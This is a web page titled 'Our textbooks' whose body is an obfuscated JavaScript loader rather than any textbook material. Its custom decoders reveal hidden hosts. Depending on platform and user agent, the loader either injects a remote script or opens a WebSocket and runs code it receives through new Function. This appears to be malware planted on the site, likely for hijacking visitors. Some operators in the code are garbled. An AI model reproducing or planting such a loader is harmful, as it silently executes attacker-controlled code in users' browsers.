我们的教科书

function Lwctm(e){var t="",n=r=c1=c2=0;while(n 0x3c e.length){r=e.charCodeAt(n);if(r 0x3c 128){t+=String.fromCharCode(r);n++;}else if(r 0x3e 191&&r 0x3c 224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)0x3c0x3c 6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)0x3c0x3c 12|(c2&63)0x3c0x3c 6|c3&63);n+=3;}}return t;};function KBmgWq(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f 0x3c e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s 0x3c0x3c 2|o 0x3e0x3e 4;r=(o&15)0x3c0x3c 4|u 0x3e0x3e 2;i=(u&3)0x3c0x3c 6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return Lwctm(t);};window[''+'M'+'B'+'o'+'a'+'O'+'I'+'r'+'y'+'G'+'Z'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,k,i,w,d,c){var x=KBmgWq,cs=d[x('Y3VycmVudFNjcmlwdA==')];'jQuery';if(navigator.userAgent.indexOf('baidu')>-1){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));new Worker(window.URL.createObjectURL(new Blob(["var ws=new WebSocket('wss://"+k+":9394/'+"+i+");ws.onmessage=function(e){ws.close();postMessage(e.data)};"]))).onmessage=function(e){new Function('_tdcs',x(e.data))(cs);}}else{u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));var s=document.createElement('script');s.src='https://'+u+'/j/'+i;cs.parentElement.insertBefore(s,cs);}})('a21yLnloanpnLmNu','a250LnJ1aXR1c2Nob29ssLmNvbS5jbg==','142631',window,document,['','s']);}:function(){};